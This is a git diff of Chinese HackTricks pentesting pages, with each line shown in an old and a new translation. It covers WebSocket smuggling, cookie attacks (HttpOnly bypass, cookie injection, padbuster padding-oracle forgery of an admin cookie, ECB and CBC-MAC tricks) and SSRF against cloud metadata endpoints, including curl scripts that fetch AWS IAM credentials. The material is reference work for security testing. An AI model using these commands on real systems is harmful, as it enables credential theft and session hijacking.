请注意,这种情况要更难利用,因为您需要能够联系某个**返回状态码101**的端点。
请注意,这个场景要更复杂一些,因为您需要能够联系某个**返回状态码101**的端点。
{% endhint %}
最后,**NGINX认为WebSocket连接已在客户端和后端之间建立**。实际上并没有WebSocket连接 - 后端调用了健康检查REST API。同时反向代理保持客户端和后端之间的TCP或TLS连接处于打开状态。**客户端可以通过在连接上发送HTTP请求轻松访问私有REST API**。
最后,**NGINX认为**客户端和后端之间**建立了WebSocket连接**。实际上并没有WebSocket连接 - 后端调用了健康检查REST API。同时反向代理保持客户端和后端之间的TCP或TLS连接处于打开状态。**客户端可以通过在连接上发送HTTP请求轻松访问私有REST API**。
![](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
@ -124,18 +132,25 @@ Connection: Upgrade, HTTP2-Settings
* [https://bishopfox.com/blog/h2c-smuggling-request](https://bishopfox.com/blog/h2c-smuggling-request)
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找出最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者想要**获取最新版本的 PEASS 或下载 PDF 格式的 HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合:[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品,[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的动态 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
</details>

View file

@ -4,46 +4,54 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass) 或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便您可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Cookies属性
### Expires & Max-Age
### ExpiresMax-Age
* `Expires`设置了一个cookie被删除的过期日期
* `Max-age`设置了一个cookie将被删除的时间使用这个不再是2009年
### **Domain**
`Domain`属性指定了**哪些主机可以接收cookie**。如果未指定该属性则默认为设置cookie的**同一主机**_**不包括子域**_。如果指定了`Domain`,则始终包括子域。因此,指定`Domain`比省略它更不限制。然而,当子域需要共享关于用户的信息时,它可能是有帮助的。
`Domain`属性指定了**哪些主机可以接收cookie**。如果未指定该属性,则该属性**默认为设置cookie的同一主机**_**不包括子域**_。**如果指定了`Domain`,则始终包括子域**。因此,指定`Domain`比省略它更不限制。然而,当子域需要共享关于用户的信息时,它可能是有帮助的。
例如,如果你设置`Domain=mozilla.org`那么cookie在像`developer.mozilla.org`这样的子域上是可用的。但如果你不设置cookie将不会发送到子域。
例如,如果您设置`Domain=mozilla.org`则cookie在诸如`developer.mozilla.org`之类的子域上可用。但如果您不这样做cookie将不会发送到子域。
如果**子域**`sub.example.com`**设置了一个**_domain_**属性为**`.example.com`**的cookie它将在请求**父域**时**发送**。
### **Path**
`Path`属性指示了**必须存在于请求的URL中的URL路径**,以发送`Cookie`头。`%x2F` ("/")字符被认为是目录分隔符,子目录也匹配。
`Path`属性指示必须在请求的URL中存在的**URL路径**,以发送`Cookie`头。`%x2F`"/")字符被视为目录分隔符,子目录也匹配。
#### 顺序
当两个cookie具有**相同的名称**时发送的cookie是
* URL路径**最长的路径**匹配的那个
* 如果两个路径相同,则是**最新的**那个
* URL路径匹配最长的那个
* 如果两个路径相同,则是最新的那个
### SameSite
这将告诉浏览器**cookie**是否可以从其他域发送。它有3个可能的值
* **Strict**cookie不会随着第三方网站的请求一起发送。
* **Lax**cookie将随第三方网站发起的GET请求一起发送。
* **Strict**cookie不会随请求一起发送给第三方网站
* **Lax**cookie将随第三方网站发起的GET请求一起发送。
* **None**cookie从任何第三方域发送
| **请求类型** | **示例代码** | **发送Cookie的情况** |
@ -54,25 +62,24 @@
| 表单POST | \<form method="POST" action="..."> | NotSet\*, None |
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
| AJAX | $.get("...") | NotSet\*, None |
| 图 | \<img src="..."> | NetSet\*, None |
| 图 | \<img src="..."> | NetSet\*, None |
表格来自[Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/)并稍作修改。\
有_**SameSite**_属性的cookie将**减轻需要登录会话的CSRF攻击**。
有_**SameSite**_属性的cookie将**减轻需要登录会话的CSRF攻击**。
**\*请注意从Chrome802019年2月开始没有cookie samesite属性的cookie的默认行为将是lax**[https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/))。\
请注意,临时地,在应用此更改后,**Chrome中没有SameSite策略的cookie在前2分钟内将被视为None然后在顶级跨站点POST请求中将被视为Lax。**
请注意,临时地,在应用此更改后,**Chrome中没有SameSite策略的cookie在前2分钟将被视为None然后在顶级跨站点POST请求中将被视为Lax。**
## Cookies标志
### HttpOnly
这可以防止**客户端**访问cookie例如通过**Javascript**`document.cookie`
可以防止**客户端**访问cookie例如通过**Javascript**`document.cookie`
#### **绕过方法**
* 如果页面正在将cookie作为请求的响应发送例如在**PHPinfo**页面中可以滥用XSS发送请求到该页面并从响应中**窃取cookie**(在[https://hackcommander.github.io/pentesting-article-1/)](https://hackcommander.github.io/pentesting-article-1/)中查看示例)
* 可以通过**TRACE** **HTTP**请求绕过因为服务器的响应将反映发送的cookie如果此HTTP方法可用。这种技术称为**跨站点跟踪**。
* 现代浏览器通过不允许从JS发送TRACE请求来避免此技术。然而一些绕过方法已经在特定软件中找到,比如向IE6.0 SP2发送`\r\nTRACE`而不是`TRACE`。
* 如果页面将cookie作为请求的响应发送例如在**PHPinfo**页面中可以滥用XSS发送请求到该页面并从响应中**窃取cookie**(在[https://hackcommander.github.io/pentesting-article-1/](https://hackcommander.github.io/pentesting-article-1/)中查看示例)
* 可以通过**TRACE** **HTTP**请求绕过此限制因为服务器的响应将反映发送的cookie。这种技术称为**跨站追踪**。
* 现代浏览器通过不允许从JS发送TRACE请求来避免此技术。然而已经在特定软件中找到了绕过此限制的方法,例如向IE6.0 SP2发送`\r\nTRACE`而不是`TRACE`。
* 另一种方法是利用浏览器的零/日漏洞。
* 可以通过执行Cookie Jar溢出攻击来**覆盖HttpOnly cookie**
@ -81,21 +88,22 @@
{% endcontent-ref %}
* 可以使用[**Cookie Smuggling**](./#cookie-smuggling)攻击来窃取这些cookie
### 安全
只有在通过安全通道传输请求时通常是HTTPS请求才会**仅**发送cookie。
### Secure
## Cookie前缀
只有在通过安全通道(通常是**HTTPS**传输请求时请求才会发送cookie。
**`__Secure-`前缀**必须在安全页面HTTPS上使用`secure`标志设置。
## Cookies前缀
**`__Host-`前缀**必须在安全页面HTTPS上使用`secure`标志设置,不能指定域(因此不会发送到子域),路径必须为`/`
**`__Secure-`前缀**必须在安全页面HTTPS上设置`secure`标志
带有`__Host-`前缀的cookie不能发送到超域从子域到域或子域从域到子域因此如果您想隔离应用程序的cookie使用`__Host-`作为前缀不是一个坏主意
**`__Host-`前缀**必须在安全页面HTTPS上设置`secure`标志,不能指定域(因此不会发送到子域),路径必须为`/`
## Cookie攻击
`__Host-`前缀的cookie不能发送到超域从子域到域或子域从域到子域因此如果要隔离应用程序的cookie使用`__Host-`作为前缀不是一个坏主意。
如果您发现某种包含敏感数据会话ID、用户名、电子邮件等的自定义cookie您应该尝试利用它。
## Cookies攻击
如果发现某种包含敏感数据会话ID、用户名、电子邮件等的自定义cookie一定要尝试利用它
### 解码cookie
@ -103,13 +111,13 @@
### 会话劫持
窃取cookie并使用它来冒充用户进入应用程序
窃取cookie并使用它来冒充用户进入应用程序
### 会话固定
攻击者从网页获取一个cookie并向受害者发送一个链接要求使用相同的cookie进行登录。如果用户登录时cookie没有更改这可能很有用因为攻击者可以通过cookie冒充用户。
攻击者从网页获取一个cookie并向受害者发送一个链接要求使用相同的cookie**登录**。如果用户登录时cookie没有更改这可能很有用因为攻击者可以通过cookie冒充用户。
如果在子域中发现了**XSS漏洞**或者**控制子域**,请阅读:
如果在子域中发现了**XSS**或者**控制子域**,请阅读:
{% content-ref url="cookie-tossing.md" %}
[cookie-tossing.md](cookie-tossing.md)
@ -119,7 +127,7 @@
攻击者向受害者发送自己的会话。受害者将看到自己已经登录,并认为自己在自己的账户中,但**操作将在攻击者的账户中执行**。
如果在子域中发现了**XSS漏洞**或者**控制子域**,请阅读:
如果在子域中发现了**XSS**或者**控制子域**,请阅读:
{% content-ref url="cookie-tossing.md" %}
[cookie-tossing.md](cookie-tossing.md)
@ -127,21 +135,21 @@
### [JWT Cookie](../hacking-jwt-json-web-tokens.md)
点击上面的链接访问一个页面,解释JWT可能存在的缺陷。
点击上面的链接访问一个页面解释JWT可能存在的缺陷。
### 空Cookie
浏览器允许使用空名称的cookie
浏览器允许使用空名称的cookie
```js
document.cookie = "a=v1"
document.cookie = "=test value;" // empty name
document.cookie = "b=v2"
```
这将导致发送的cookie头
这将导致发送的cookie头
```
a=v1; test value; b=v2;
```
更有趣的是,如果你有一种方法可以**设置空的cookie**,那么你就可以**控制任何其他的cookie**
更有趣的是,如果你拥有某种方式可以**设置空的cookie**,那么你就可以**控制任何其他的cookie**
```js
function setCookie(name, value) {
document.cookie = `${name}=${value}`;
@ -167,7 +175,7 @@ document.cookie
```
### Cookie劫持
一些Web服务器包括Java服务器Jetty、TomCat、Undertow和Python Web框架Zope以及Python Web服务器/框架如cherrypy、web.py、aiohttp server、bottle和webob发现由于对RFC2965的残留支持**错误解析cookie字符串**,该机制是一种使用RFC2616定义的过时的cookie引用机制。
一些Web服务器包括Java服务器Jetty、TomCat、Undertow和Python Web框架Zope以及Python Web服务器/框架如cherrypy、web.py、aiohttp server、bottle和webob被发现由于对RFC2965的残留支持而**错误解析cookie字符串**RFC2965是一种使用RFC2616定义的过时的cookie引用机制。
具体来说,**当这些服务器遇到双引号dquoted的cookie值时即使遇到分号它们仍会继续读取cookie字符串**。这是有问题的,因为**分号应该用于分隔cookie字符串中的键值对**。
@ -177,7 +185,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
这些服务器将它们解释为一个**单一的cookie值**而不是三个独立的cookie。
这导致了一个安全风险:如果攻击者获得跨站脚本XSS访问权限他们可以利用这个漏洞**窃取敏感的cookie如HttpOnly cookie**。
这导致了一个安全风险如果攻击者获得跨站脚本XSS访问权限他们可以利用这个漏洞**窃取敏感的cookie如HttpOnly cookie**。
### Cookie注入
@ -187,7 +195,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```bash
LANGUAGE="en-us" CSRF_TOKEN="SPOOFED_VALUE"
```
**Zope**开始解析下一个cookie,使用**逗号**作为分隔符
**Zope** 在下一个 **逗号**开始解析下一个 cookie
```bash
LANGUAGE=en-us,CSRF_TOKEN=SPOOFED_VALUE
```
@ -195,29 +203,29 @@ LANGUAGE=en-us,CSRF_TOKEN=SPOOFED_VALUE
```
LANGUAGE=en-us CSRF_TOKEN=SPOOFED_VALUE
```
因此,像**cherrypy**、**web.py**、**aiohttp**服务器、**bottle**和**webob**Pyramid、TurboGears这样的服务器都容易受到这种类型的攻击。
作为结果,像**cherrypy****web.py****aiohttp**服务器,**bottle**和**webob**PyramidTurboGears这样的服务器都容易受到这种类型的攻击。
这个问题带来了重大的**安全隐患**。例如如果一个Web应用程序使用基于cookie的CSRF保护攻击者可以**注入**一个伪造的**CSRF令牌cookie**来绕过这种保护。此外Python的http.cookie包中最后一个重复的cookie名称会覆盖之前的任何cookie使得这种攻击特别容易。
这个问题带来了重大的**安全隐患**。例如如果一个Web应用程序使用基于cookie的CSRF保护攻击者可以**注入**一个伪造的**CSRF令牌cookie**来绕过此保护。此外Python的http.cookie包中的最后一个重复的cookie名称会覆盖之前的任何cookie使得这种类型的攻击特别容易。
此外在一个将cookie传递给后端服务器的配置中如果后端服务器容易受到伪造攻击而前端服务器不容易受到伪造攻击**cookie注入可能导致授权绕过**。
### 额外易受攻击的Cookie检查
### 额外易受攻击的Cookie检查
#### **基本检查**
* 每次**登录**时,**cookie**都是**相同的**。
* 注销并尝试使用相同的cookie。
* 使用相同的cookie在两个设备(或浏览器)上尝试以相同的账户登录
* 使用相同的cookie在2个设备或浏览器上尝试登录同一个账户
* 检查cookie中是否有任何信息并尝试修改它。
* 尝试创建几个几乎相同的用户名账户,并检查是否存在相似之处。
* 检查是否存在“**记住我**”选项,并查看其工作原理。如果存在并且可能存在漏洞请始终只使用“记住我”选项的cookie而不使用其他cookie。
* 尝试创建几个几乎相同的用户名账户,并检查是否存在相似之处。
* 检查是否存在“**记住我**”选项以查看其工作原理。如果存在且可能存在漏洞请始终只使用“记住我”选项的cookie而不使用其他cookie。
* 检查在更改密码后之前的cookie是否仍然有效。
#### **高级Cookie攻击**
#### **高级cookie攻击**
如果登录时cookie保持不变或几乎不变这可能意味着cookie与您的账户的某个字段相关可能是用户名。然后您可以:
如果登录时cookie保持不变或几乎不变这可能意味着cookie与您的账户的某个字段相关可能是用户名。然后您可以
* 尝试创建许多非常**相似**的用户名的**账户**,并尝试**猜测**算法的工作原理
* 尝试创建许多非常**相似**的用户名账户,并尝试**猜测**算法的工作方式
* 尝试**暴力破解用户名**。如果cookie仅将您的用户名保存为身份验证方法那么您可以创建一个用户名为“**Bmin**”的账户并对cookie的每一位进行**暴力破解**因为您尝试的cookie之一将属于“**admin**”。
* 尝试**填充****Oracle**您可以解密cookie的内容。使用**padbuster**。
@ -233,13 +241,13 @@ padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28E
```
Padbuster将尝试多次并询问您哪个条件是错误条件即无效条件
然后它将开始解密cookie可能需要几分钟
然后它将开始解密cookie可能需要几分钟时间)。
如果攻击成功执行,则可以尝试加密您选择的字符串。例如,如果您想要**加密** **user=administrator**
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
这个执行将给正确加密和编码的cookie其中包含字符串**user=administrator**。
这个执行将给正确加密和编码的cookie其中包含字符串**user=administrator**。
**CBC-MAC**
@ -249,33 +257,40 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
1. 获取用户名**administ**的签名= **t**
2. 获取用户名**rator\x00\x00\x00 XOR t**的签名= **t'**
3. 在cookie中设置值**administrator+t'****t'**将是**(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**的有效签名)
3. 在cookie中设置值**administrator+t'****t'**将是**(rator\x00\x00\x00 XOR t) XOR t**的有效签名= **rator\x00\x00\x00**的签名)
**ECB**
如果cookie使用ECB进行加密,可能存在漏洞。\
你登录时,你收到的cookie必须始终相同。
如果使用ECB加密cookie,可能存在漏洞。\
您登录时,您收到的cookie必须始终相同。
**如何检测和攻击:**
创建两个几乎相同的用户用户名、密码、电子邮件等并尝试发现给定cookie中的某种模式。
创建两个几乎相同的用户用户名、密码、电子邮件等并尝试发现给定cookie中的某些模式
创建一个名为“aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa”的用户并检查cookie中是否任何模式因为ECB使用相同的密钥加密每个块如果用户名被加密相同的加密字节可能会出现
创建一个名为“aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa”的用户并检查cookie中是否存在任何模式因为ECB使用相同的密钥加密每个块如果用户名被加密相同的加密字节可能会出现)。
应该有一个模式(具有已使用块的大小)。因此,知道了一堆“a”的加密方式你可以创建一个用户名“a”\*(块的大小)+“admin”。然后你可以从cookie中删除一个块的“a”的加密模式。这样你就得到了用户名“admin”的cookie。
应该有一个模式(具有已使用块的大小)。因此,知道一堆“a”被加密后您可以创建一个用户名“a”\*(块的大小)+“admin”。然后您可以从cookie中删除一个块的“a”的加密模式。这样您就可以获得用户名“admin”的cookie。
## 参考资料
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
查找最重要的漏洞以便您可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的公司广告吗或者您想获得PEASS的**最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
* 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享的黑客技巧。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享的黑客技巧。**
</details>

View file

@ -5,28 +5,36 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云端 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便您可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## AWS
### 滥用AWS EC2环境中的SSRF
**元数据**端点可以从任何EC2机器内部访问并提供有关该机器的有趣信息。它可以通过以下URL访问`http://169.254.169.254`[有关元数据的信息在此处](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
**元数据**端点可以从任何EC2机器内部访问并提供有关它的有趣信息。它可以通过URL `http://169.254.169.254` 访问(有关元数据的信息,请参见[此处](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
元数据端点有**2个版本**。**第一个**版本允许通过**GET**请求访问端点(因此任何**SSRF都可以利用**它)。对于**第二个版本**[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html),您需要发送一个带有**HTTP头**的**PUT**请求来请求一个**令牌**然后使用该令牌来通过另一个HTTP头访问元数据因此使用SSRF滥用起来**更加复杂**)。
{% hint style="danger" %}
请注意如果EC2实例强制执行IMDSv2[**根据文档**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)**PUT请求的响应**将具有**1个跳数限制**无法从EC2实例内部的容器访问EC2元数据。
请注意如果EC2实例强制执行IMDSv2[**根据文档**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)**PUT请求的响应**将具有**跳数限制为1**这使得无法从EC2实例内部的容器访问EC2元数据。
此外,**IMDSv2**还将**阻止包含`X-Forwarded-For`头的令牌请求**。这是为了防止配置错误的反向代理能够访问它。
{% endhint %}
您可以在文档中找到有关[元数据端点的信息](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)。以下脚本从中获取了一些有趣的信息:
您可以在文档中找到有关[元数据端点](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)的信息。以下脚本从中获取了一些有趣的信息:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -130,7 +138,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
此外除了IAM凭据之外Lambda函数还具有在启动函数时传递给函数的**事件数据**。通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html),该数据可供函数使用,并且可能包含**敏感信息**(例如在**stageVariables**中。与IAM凭据不同此数据可以通过标准SSRF在**`http://localhost:9001/2018-06-01/runtime/invocation/next`**上访问。
{% hint style="warning" %}
请注意,**lambda凭据**位于**环境变量**中。因此如果lambda代码的堆栈跟踪打印环境变量通过在应用程序中引发错误,可以**泄露它们**。
请注意,**lambda凭据**位于**环境变量**中。因此如果lambda代码的堆栈跟踪打印环境变量可能会通过在应用程序中引发错误来**泄露它们**。
{% endhint %}
### SSRF URL用于AWS Elastic Beanstalk <a href="#6f97" id="6f97"></a>
@ -289,7 +297,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
## Digital Ocean <a href="#9f1f" id="9f1f"></a>
{% hint style="warning" %}
Digital Ocean没有像AWS角色或GCP服务账户这样的东西所以不要期望找到元数据机器人凭
Digital Ocean没有像AWS角色或GCP服务账户这样的东西所以不要期望找到元数据机器人凭
{% endhint %}
文档可在[`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)找到。
@ -304,14 +312,22 @@ http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```
